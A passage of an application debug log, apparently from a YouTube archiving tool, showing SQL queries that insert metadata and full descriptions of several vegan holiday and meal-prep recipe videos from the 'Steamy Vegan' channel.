\u00A0\u00A0\u00A0•\u00A0How\u00A0To\u00A0Make\u00A0Vegan\u00A0Eggnog\u00A0❄️\u00A0Plus\u00A0BONUS\u00A0Veg...\u00A0\u00A0\nVegan Pumpkin Nog ➡️ \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0|\u00A0Fall\u00A0Reset\u00A0+\u00A0Fall\u00A0Ve...\u00A0\u00A0\nCandy Cane Shortbread ➡️ \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\nWelsh Tea Cakes ➡️ \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\nVegan Nutella ➡️ https://steamyvegan.com/vegan-nutella/\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n0:32 - Chocolate Orange Granola\n2:13 - Vegan Eggnog/Pumpkin Nog\n5:04 - Candy Cane Shortbread\n6:28 - Welsh Tea Cakes\n8:42 - Vegan Nutella", "Christmas Gift Ideas For FOODIES! PART 1🎄 Vegan, Gluten-Free", "e774384b-5743-4b79-8041-6a84d2cf95e5", 1, [], false, "4Gxmy2kNxbo", "https://www.youtube.com/watch?v=4Gxmy2kNxbo", 245, "/downloads/downloads/alec/Steamy Vegan/2023-11-21 Christmas Gift Ideas For FOODIES! PART 1🎄 Vegan, Gluten-Free/Christmas Gift Ideas For FOODIES! PART 1🎄 Vegan, Gluten-Free [4Gxmy2kNxbo].NA", false, false, false, 2, ~U[2023-11-21 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm going over my TOP 5 favourite Christmas Gift Ideas for foodies! There's nothing quite as thoughtful as giving and receiving some delicious homemade gifts at the holidays and these 5 recipes will be total hits with everyone you make them for. They're all vegan and gluten-free and absolutely yummy!\n\nCheck out my full ''HOLIDAY RECIPES' playlist! 🎄 \u00A0\u00A0\u00A0•\u00A0HOLIDAY\u00A0RECIPES\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nChocolate Orange Granola ➡️ \u00A0\u00A0\u00A0•\u00A0CACAO\u00A0ORANGE\u00A0GRANOLA\u00A0//\u00A0vegan,\u00A0gluten-free...\u00A0\u00A0\nVegan Eggnog ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0To\u00A0Make\u00A0Vegan\u00A0Eggnog\u00A0❄️\u00A0Plus\u00A0BONUS\u00A0Veg...\u00A0\u00A0\nVegan Pumpkin Nog ➡️ \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0|\u00A0Fall\u00A0Reset\u00A0+\u00A0Fall\u00A0Ve...\u00A0\u00A0\nCandy Cane Shortbread ➡️ \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\nWelsh Tea Cakes ➡️ \u00A0\u00A0\u00A0•\u00A0Quick\u00A0&\u00A0Easy\u00A0Holiday\u00A0Cookies\u00A0|\u00A0Vegan\u00A0&\u00A0glu...\u00A0\u00A0\nVegan Nutella ➡️ https://steamyvegan.com/vegan-nutella/\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n0:00 - Intro\n0:32 - Chocolate Orange Granola\n2:13 - Vegan Eggnog/Pumpkin Nog\n5:04 - Candy Cane Shortbread\n6:28 - Welsh Tea Cakes\n8:42 - Vegan Nutella", "Christmas Gift Ideas For FOODIES! PART 1🎄 Vegan, Gluten-Free", 1, nil, false, "4Gxmy2kNxbo", "https://www.youtube.com/watch?v=4Gxmy2kNxbo", "/downloads/downloads/alec/Steamy Vegan/2023-11-21 Christmas Gift Ideas For FOODIES! PART 1🎄 Vegan, Gluten-Free/Christmas Gift Ideas For FOODIES! PART 1🎄 Vegan, Gluten-Free [4Gxmy2kNxbo].NA", false, ~U[2023-11-21 00:00:00Z]] 20:31:07.911 [debug] QUERY OK source="sources" db=1.2ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.913 [debug] QUERY OK source="media_items" db=2.4ms idle=8.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-18 00:00:00Z], 1] 20:31:07.917 [debug] QUERY OK source="media_items" db=2.5ms idle=10.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video we’re covering two cozy, vegan holiday recipes that are perfect for serving over the holidays or for anytime! Visually pleasing and ridiculously tasty, these two dishes make for an at-home fine dining experience without the price tag! \n\nNeed more Holiday recipe inspiration? ➡️ 'HOLIDAY RECIPES' playlist! \nWatch my full 'FALL RECIPES' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nRECIPE #1: Rosemary Pesto Stuffed Squashes\n2 medium acorn squashes \n1 tbsp olive or avocado oil for brushing\nSalt & pepper to taste\n\nGOLDEN QUINOA\n4 cups veggie broth\n½ tsp ground turmeric\n2 tsp fresh grated ginger\n1 tbsp maple syrup\n¼ tsp ground black pepper\n½ tsp salt\n2 heaping cups quinoa\n2 cups chopped spinach or kale\n\nTAHINI, ROSEMARY & TOFU PESTO (oil-free)\n1 cup roasted, salted pumpkin seeds\n¼ cup fresh rosemary leaves, about 2 sprigs\n4 garlic cloves, sliced\n¼ cup tahini\n1 tbsp fresh lemon juice\n½ cup fresh cilantro leaves and stems\n¼ tsp red chili flakes\n½ tsp sea salt\n¼ block firm or extra firm tofu, about 4 oz.\n\n1. Preheat oven to 400°F and rinse any debris off the squashes. Remove the stems, slice them in half horizontally, and scoop out the seeds and flesh (save those for a yummy roasted seed snack!).\n2. Place the squash halves cut side up and brush the oil over the yellow flesh. Season with salt and pepper to taste and bake on the top rack for 35 to 40 minutes until the edges are beginning to brown.\n3. While the squashes roast, make the golden quinoa. To a medium saucepan add all the ingredients except the quinoa and whisk until all the spices and maple syrup have dissolved in the broth. Add the quinoa and stir once again to combine, cover and bring to a boil. Once boiling bring heat to low and simmer for 20 to 25 minutes until the broth is absorbed and the quinoa is soft and fluffy. Fluff up the quinoa with a fork and fold in the spinach to wilt.\n4. While the quinoa and squashes cook, make the pesto. Add all ingredients except the tofu and cilantro to a food processor and blend until a mostly smooth paste forms. Crumble in the tofu and cilantro and blend once again until smooth, or to your preferred texture. \n5. Plating: Place one squash halve in a flat bottomed bowl or plate. Fill the centre with quinoa, about half to ¾ cups, and then add a generous dollop of the pesto on top. Garnish with dried cranberries, roasted pumpkin seeds and vegan goat cheese or feta, plus a drizzle of balsamic vinegar and enjoy!\n\n\nRECIPE #2: Cinnamon Tempeh & Winter Veg Au Jus\nSLOW COOKED WINTER VEG \n2.5 to 3 lbs. assorted winter squash and root veggies of choice (potatoes, turnips, parsnips, carrots, celery root, butternut squash, acorn squash, sweet potato, etc.)\n2 or 3 large honeycrisp apples or other tart crisp apples, cored and quartered\nCloves of 1 head of garlic, peeled and halved\nLeaves from 3 sprigs of fresh rosemary, finely minced\n1 tsp sea salt\nFreshly ground black pepper\n1 cup veggie broth\n\nCINNAMON SPICED TEMPEH\n2 blocks of tempeh\n¼ cup coconut sugar or brown sugar\n1 tbsp cinnamon\n1 tsp sea salt\nBlack pepper\n2 tsp oil for searing\n\n1. Prepare your apples and winter veggies by washing, peeling (if necessary) and chopping them into large 1½-inch chunks, and transfer them to a large crockpot/slow cooker. Add the minced rosemary, sliced garlic, salt and pepper and toss the ingredients together to combine. Create a ‘well’ in the centre of the veggies and pour the veggie broth in the centre. \n2. Prepare the tempeh: In a large flat bottomed bowl or plate, add the coconut sugar, cinnamon and salt and whisk together to combine. If your tempeh blocks don’t come pre-sliced, slice them into roughly ⅛ to ¼” thick slices and place directly in the cinnamon sugar. Toss them with your hands to coat, shake off any excess, remove and repeat with any remaining tempeh. \n3. Heat the oil in a large flat-bottomed skillet or sauté pan and brown the tempeh slices for 2 to 3 minutes on each side. Remove from the pan and repeat with any remaining Tempeh. \n4. Nestle the tempeh slices in the ‘well’ of the veggies in the crockpot (placing them on top of " <> ..., "COZY Vegan Holiday Recipes | Fine Dining Made Frugal", "0d8b64a3-6e6a-4936-b868-c69911fc36f1", 1, [], false, "D0drOAzm0vg", "https://www.youtube.com/watch?v=D0drOAzm0vg", 246, "/downloads/downloads/alec/Steamy Vegan/2023-11-18 COZY Vegan Holiday Recipes | Fine Dining Made Frugal/COZY Vegan Holiday Recipes | Fine Dining Made Frugal [D0drOAzm0vg].NA", false, false, false, 1, ~U[2023-11-18 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video we’re covering two cozy, vegan holiday recipes that are perfect for serving over the holidays or for anytime! Visually pleasing and ridiculously tasty, these two dishes make for an at-home fine dining experience without the price tag! \n\nNeed more Holiday recipe inspiration? ➡️ 'HOLIDAY RECIPES' playlist! \nWatch my full 'FALL RECIPES' playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0FALL\u00A0&\u00A0WINTER\u00A0RECIPES\u00A0🍂❄️\u00A0\u00A0\n\nRECIPE #1: Rosemary Pesto Stuffed Squashes\n2 medium acorn squashes \n1 tbsp olive or avocado oil for brushing\nSalt & pepper to taste\n\nGOLDEN QUINOA\n4 cups veggie broth\n½ tsp ground turmeric\n2 tsp fresh grated ginger\n1 tbsp maple syrup\n¼ tsp ground black pepper\n½ tsp salt\n2 heaping cups quinoa\n2 cups chopped spinach or kale\n\nTAHINI, ROSEMARY & TOFU PESTO (oil-free)\n1 cup roasted, salted pumpkin seeds\n¼ cup fresh rosemary leaves, about 2 sprigs\n4 garlic cloves, sliced\n¼ cup tahini\n1 tbsp fresh lemon juice\n½ cup fresh cilantro leaves and stems\n¼ tsp red chili flakes\n½ tsp sea salt\n¼ block firm or extra firm tofu, about 4 oz.\n\n1. Preheat oven to 400°F and rinse any debris off the squashes. Remove the stems, slice them in half horizontally, and scoop out the seeds and flesh (save those for a yummy roasted seed snack!).\n2. Place the squash halves cut side up and brush the oil over the yellow flesh. Season with salt and pepper to taste and bake on the top rack for 35 to 40 minutes until the edges are beginning to brown.\n3. While the squashes roast, make the golden quinoa. To a medium saucepan add all the ingredients except the quinoa and whisk until all the spices and maple syrup have dissolved in the broth. Add the quinoa and stir once again to combine, cover and bring to a boil. Once boiling bring heat to low and simmer for 20 to 25 minutes until the broth is absorbed and the quinoa is soft and fluffy. Fluff up the quinoa with a fork and fold in the spinach to wilt.\n4. While the quinoa and squashes cook, make the pesto. Add all ingredients except the tofu and cilantro to a food processor and blend until a mostly smooth paste forms. Crumble in the tofu and cilantro and blend once again until smooth, or to your preferred texture. \n5. Plating: Place one squash halve in a flat bottomed bowl or plate. Fill the centre with quinoa, about half to ¾ cups, and then add a generous dollop of the pesto on top. Garnish with dried cranberries, roasted pumpkin seeds and vegan goat cheese or feta, plus a drizzle of balsamic vinegar and enjoy!\n\n\nRECIPE #2: Cinnamon Tempeh & Winter Veg Au Jus\nSLOW COOKED WINTER VEG \n2.5 to 3 lbs. assorted winter squa (truncated) 20:31:07.919 [debug] QUERY OK source="sources" db=0.7ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.922 [debug] QUERY OK source="media_items" db=2.7ms idle=10.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-14 00:00:00Z], 1] 20:31:07.925 [debug] QUERY OK source="media_items" db=2.2ms idle=11.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re looking for a hearty and savoury meal prep-friendly breakfast idea, might I suggest to you these herby roasted breakfast veggies?! Not only are these a great way to clear out the fridge of your veggie odds and ends, they’re incredibly easy to throw together and also start your day with loads of plant-based nutrition! Switch up how you enjoy them each day with either tofu scramble, vegan sausage or a quick delicious plant-based cheese sauce. \n\nCheck out my full ‘MEAL PREP’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nSheet Pan Roasted Veggies\n3 to 5 lbs. starchy and non-starchy veggies, chopped (squash, pumpkin, potato, sweet potato, zucchini, bell pepper, onion, cauliflower, broccoli, mushrooms, cabbage, carrots, etc.)\n¼ cup neutral tasting oil\n¼ balsamic vinegar\n4 cloves garlic, minced\n1½ tbsp minced fresh sage\n1½ tbsp minced fresh rosemary\n½ tsp salt\nFresh cracked black pepper\n\nArrange chopped veggies on 2 or 3 sheet pans. In a small bowl whisk together the oil, balsamic vinegar, herbs, garlic, salt and pepper. Pour over each sheet pan and massage the sauce into the veggies. Bake for 35 to 40 minutes at 400°F, tossing the veggies halfway through cook time. Remove from oven, let cool for 5 minutes then serve and enjoy.\n\nTofu Scramble\n1 block firm or extra firm tofu, not pressed\n½ tbsp neutral oil (sunflower, grapeseed, avocado)\n1 tsp garlic powder\n¼ tsp ground turmeric\n½ tsp kala namak\n¼ tsp black pepper\n2 tbsp to ¼ cup soy milk (or other plant-milk, just not coconut)\n2 tbsp nutritional yeast\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the blocks of tofu into small pieces.\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring frequently to prevent sticking or burning. The tofu should start to get a nice slightly golden colour as it cooks. If the scramble starts looking too dry add in about ¼ cup of soy milk to add some creaminess back.\n3. Once the scramble is almost finished cooking, add in the kala namak and stir throughly to combine. Remove from the heat and serve \n\nEasy Vegan Cheese Sauce\n¾\u00A0cup\u00A0canned coconut milk or soy milk (the creamier the better)\n3\u00A0tbsp\u00A0nutritional yeast\n2\u00A0tbsp\u00A0cornstarch\n½\u00A0tsp\u00A0sea salt\n¼\u00A0tsp\u00A0garlic powder\u00A0\n¼ tsp\u00A0smoked paprika\n\nWhisk together all ingredients in a small saucepan until everything has dissolved into the coconut milk. Heat on the stove on medium heat and continue stirring/whisking frequently as the sauce heats and thickens, about 5 minutes. Taste and adjust seasonings as needed. Once the desired texture has been achieved remove from the heat and pour over veggies!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN MEAL PREP! Autumn Breakfast Bowl | High-protein, vegan, gluten-free", "48793374-dc61-4f00-861b-30afc2457ccc", 1, [], false, "TW4oHzZ95q8", "https://www.youtube.com/watch?v=TW4oHzZ95q8", 247, "/downloads/downloads/alec/Steamy Vegan/2023-11-14 VEGAN MEAL PREP! Autumn Breakfast Bowl | High-protein, vegan, gluten-free/VEGAN MEAL PREP! Autumn Breakfast Bowl | High-protein, vegan, gluten-free [TW4oHzZ95q8].NA", false, false, false, 1, ~U[2023-11-14 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "If you’re looking for a hearty and savoury meal prep-friendly breakfast idea, might I suggest to you these herby roasted breakfast veggies?! Not only are these a great way to clear out the fridge of your veggie odds and ends, they’re incredibly easy to throw together and also start your day with loads of plant-based nutrition! Switch up how you enjoy them each day with either tofu scramble, vegan sausage or a quick delicious plant-based cheese sauce. \n\nCheck out my full ‘MEAL PREP’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nSheet Pan Roasted Veggies\n3 to 5 lbs. starchy and non-starchy veggies, chopped (squash, pumpkin, potato, sweet potato, zucchini, bell pepper, onion, cauliflower, broccoli, mushrooms, cabbage, carrots, etc.)\n¼ cup neutral tasting oil\n¼ balsamic vinegar\n4 cloves garlic, minced\n1½ tbsp minced fresh sage\n1½ tbsp minced fresh rosemary\n½ tsp salt\nFresh cracked black pepper\n\nArrange chopped veggies on 2 or 3 sheet pans. In a small bowl whisk together the oil, balsamic vinegar, herbs, garlic, salt and pepper. Pour over each sheet pan and massage the sauce into the veggies. Bake for 35 to 40 minutes at 400°F, tossing the veggies halfway through cook time. Remove from oven, let cool for 5 minutes then serve and enjoy.\n\nTofu Scramble\n1 block firm or extra firm tofu, not pressed\n½ tbsp neutral oil (sunflower, grapeseed, avocado)\n1 tsp garlic powder\n¼ tsp ground turmeric\n½ tsp kala namak\n¼ tsp black pepper\n2 tbsp to ¼ cup soy milk (or other plant-milk, just not coconut)\n2 tbsp nutritional yeast\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the blocks of tofu into small pieces.\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring frequently to prevent sticking or burning. The tofu should start to get a nice slightly golden colour as it cooks. If the scramble starts looking too dry add in about ¼ cup of soy milk to add some creaminess back.\n3. Once the scramble is almost finished cooking, add in the kala namak and stir throughly to combine. Remove from the heat and serve \n\nEasy Vegan Cheese Sauce\n¾\u00A0cup\u00A0canned coconut milk or soy milk (the creamier the better)\n3\u00A0tbsp\u00A0nutritional yeast\n2\u00A0tbsp\u00A0cornstarch\n½\u00A0tsp\u00A0sea salt\n¼\u00A0tsp\u00A0garlic powder\u00A0\n¼ tsp\u00A0smoked paprika\n\nWhisk together all ingredients in a small saucepan until everything has dissolved into the coconut milk. Heat on the stove on medium heat and continue stirring/whisking frequently as the sauce heats and thickens, about 5 minutes. Taste and adjust seasonings as needed. Once the desired texture has been achieved remove from the heat and pour over veggies!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN MEAL PREP! Autumn Breakfast Bowl | High-protein, vegan, gluten-free", 1, nil, false, "TW4oHzZ95q8", "https://www.youtube.com/watch?v=TW4oHzZ95q8", "/downloads/downloads/alec/Steamy Vegan/2023-11-14 VEGAN MEAL PREP! Autumn Breakfast Bowl | High-protein, vegan, gluten-free/VEGAN MEAL PREP! Autumn Breakfast Bowl | High-protein, vegan, gluten-free [TW4oHzZ95q8].NA", false, ~U[2023-11-14 00:00:00Z]] 20:31:07.926 [debug] QUERY OK source="sources" db=0.8ms idle=11.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.928 [debug] QUERY OK source="media_items" db=2.2ms idle=9.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-11 00:00:00Z], 1] 20:31:07.932 [debug] QUERY OK source="media_items" db=2.1ms idle=11.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I recreated some of my Grandma's 100 year old recipes and made them vegan! I veganized two of my childhood favourite recipes and then got my own grandma herself to taste test them! Will she love them, hate them? Either way, give my grandma some love in the comments! \n\nIN CASE YOU MISSED IT: My grandma taste tests vegan cheese and meat for the FIRST TIME! Watch now! ➡️ \u00A0\u00A0\u00A0•\u00A0My\u00A0GRANDMA\u00A0tries\u00A0vegan\u00A0cheese\u00A0and\u00A0meat\u00A0for...\u00A0\u00A0\n\nRETRO RECIPES IN THIS VIDEO\n\n'Porcupine' Meatballs\n1 lb. Beyond beef \u202A@byndofficial\u202C or any other plant-based beef sub\n½ cup white rice\n1 small onion, diced\n2 large cloves garlic, minced\n2 tbsp balsamic vinegar OR vegan worcestershire sauce\n¼ cup gluten-free breadcrumbs (or regular if not GF)\nBlack pepper\n\n1 can tomato paste\n2 cups water\n1 tbsp coconut sugar, or any granulated sugar\n½ tsp garlic powder\n¼ tsp salt \npepper to taste\n\n1. In a large mixing bowl add the plant-based beef, rice, diced onion and garlic, balsamic vinegar, breadcrumbs and black pepper. Mix very well to combine into a meat mixture, use your hands to really mix things together properly. Set aside for a couple minutes.\n2. In a large flat-bottomed sauté or saucepan combine the tomato paste, water, sugar, garlic powder, salt and pepper and whisk well until all the spices and tomato paste have dissolved in the water. You will have a nice tomato sauce!\n3. Using your hands form the meat mixture into 2 tbsp sized balls and compact them well to keep as much rice and onion in the ball. Place the meatballs one by one into the tomato sauce until you've used up all the meat mixture. You should have roughly 14 or so meatballs.\n4. Cover with a lid and bring to a gently boil then reduce heat to low and simmer away for 35 to 40 minutes, until the rice is cooked. Using a fork turn over each meatball halfway through the cooking time to ensure even cooking.\n5. Remove from heat once cooked and serve over cooked pasta or with mashed potatoes or rice. Enjoy!\n\nVegan Baked Mac 'N Cheese\n1 batch of tofu bacon bits (recipe in this video here ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Creamy\u00A0Carbonara\u00A0Pasta\u00A0Recipe!\u00A0\u00A0)\n12 oz macaroni noodles (340g), cooked\n2 cups vegan cheddar cheese shreds\n½ cup soy milk, or any other unsweetened plant milk\n½ cup cashews soaking in 1¼ cup boiling water, soak for 30 minutes \n2 tbsp nutritional yeast\n2 tbsp vegan butter\n1 - 26oz can tomatoes\n1 cup chopped mushrooms or 1 to 2 small tins of mushrooms\n2 tsp italian seasoning \nS + p\nFor the Breadcrumbs\n½ cup breadcrumbs\n4 cloves garlic, minced\n1 tsp oil\n\n1. Preheat oven to 350F, spray 9-inch square baking dish with cooking spray and set aside.\n2. Cook your macaroni in salted water according to package directions.\n3. Make breadcrumbs: in a small nonstick pan, heat oil over medium heat. Add garlic and sauté until golden. Add breadcrumbs, turn heat to medium low and stir occasionally, toasting until the breadcrumbs are golden in colour. Remove from heat and transfer to a bowl.\n4. Add the soaked cashews plus their soaking water, the soy milk and the nutritional yeast into a blender and blend on high until it’s a well combined liquid.\n5. Drain and rinse macaroni, return to pot on low heat with 2 tbsp of vegan butter. Pour in the cheesy cashew cream and stir to combine, then add in the vegan cheese (reserving ¼ cup for topping) and stir again until the cheese starts to melt.\n6. Add the canned tomatoes, chopped mushrooms, italian seasoning, salt and pepper and stir to combine. Lastly add the tofu bacon bits to the mix and gently fold in.\n7. Pour the mac n cheese into the prepared casserole dish and smooth into an even layer. Sprinkle the remaining vegan cheese on top followed by the garlicky breadcrumbs. Bake for 30 minutes or until it's bubbling around the edges and the breadcrumbs are a lovely deep golden colour.\n8. Let cool in pan for 5 minutes then serve and enjoy!\n\nCheck out my full 'TASTE TESTS' playlist for more fun vegan food tastings! ➡️ \u00A0\u00A0\u00A0•\u00A0REVIEWS\u00A0AND\u00A0TASTE\u00A0TESTS\u00A0🤔\u00A0\u00A0\n\nWhich is the BEST Vegan Cheese? ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Vegan\u00A0Cheese\u00A0for\u00A0Grilled\u00A0Cheeses\u00A0...\u00A0\u00A0\nNotMilk vs. Next Milk Review ➡️ \u00A0\u00A0\u00A0•\u00A0NotMilk\u00A0vs.\u00A0NE" <> ..., "Grandma's 100 Year Old Recipes Made VEGAN! RETRO RECIPES!", "7605f2ac-e96c-4e18-93f1-5443bb404b0d", 1, [], false, "W3fTrg05eHI", "https://www.youtube.com/watch?v=W3fTrg05eHI", 248, "/downloads/downloads/alec/Steamy Vegan/2023-11-11 Grandma's 100 Year Old Recipes Made VEGAN! RETRO RECIPES!/Grandma's 100 Year Old Recipes Made VEGAN! RETRO RECIPES! [W3fTrg05eHI].NA", false, false, false, 1, ~U[2023-11-11 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I recreated some of my Grandma's 100 year old recipes and made them vegan! I veganized two of my childhood favourite recipes and then got my own grandma herself to taste test them! Will she love them, hate them? Either way, give my grandma some love in the comments! \n\nIN CASE YOU MISSED IT: My grandma taste tests vegan cheese and meat for the FIRST TIME! Watch now! ➡️ \u00A0\u00A0\u00A0•\u00A0My\u00A0GRANDMA\u00A0tries\u00A0vegan\u00A0cheese\u00A0and\u00A0meat\u00A0for...\u00A0\u00A0\n\nRETRO RECIPES IN THIS VIDEO\n\n'Porcupine' Meatballs\n1 lb. Beyond beef \u202A@byndofficial\u202C or any other plant-based beef sub\n½ cup white rice\n1 small onion, diced\n2 large cloves garlic, minced\n2 tbsp balsamic vinegar OR vegan worcestershire sauce\n¼ cup gluten-free breadcrumbs (or regular if not GF)\nBlack pepper\n\n1 can tomato paste\n2 cups water\n1 tbsp coconut sugar, or any granulated sugar\n½ tsp garlic powder\n¼ tsp salt \npepper to taste\n\n1. In a large mixing bowl add the plant-based beef, rice, diced onion and garlic, balsamic vinegar, breadcrumbs and black pepper. Mix very well to combine into a meat mixture, use your hands to really mix things together properly. Set aside for a couple minutes.\n2. In a large flat-bottomed sauté or saucepan combine the tomato paste, water, sugar, garlic powder, salt and pepper and whisk well until all the spices and tomato paste have dissolved in the water. You will have a nice tomato sauce!\n3. Using your hands form the meat mixture into 2 tbsp sized balls and compact them well to keep as much rice and onion in the ball. Place the meatballs one by one into the tomato sauce until you've used up all the meat mixture. You should have roughly 14 or so meatballs.\n4. Cover with a lid and bring to a gently boil then reduce heat to low and simmer away for 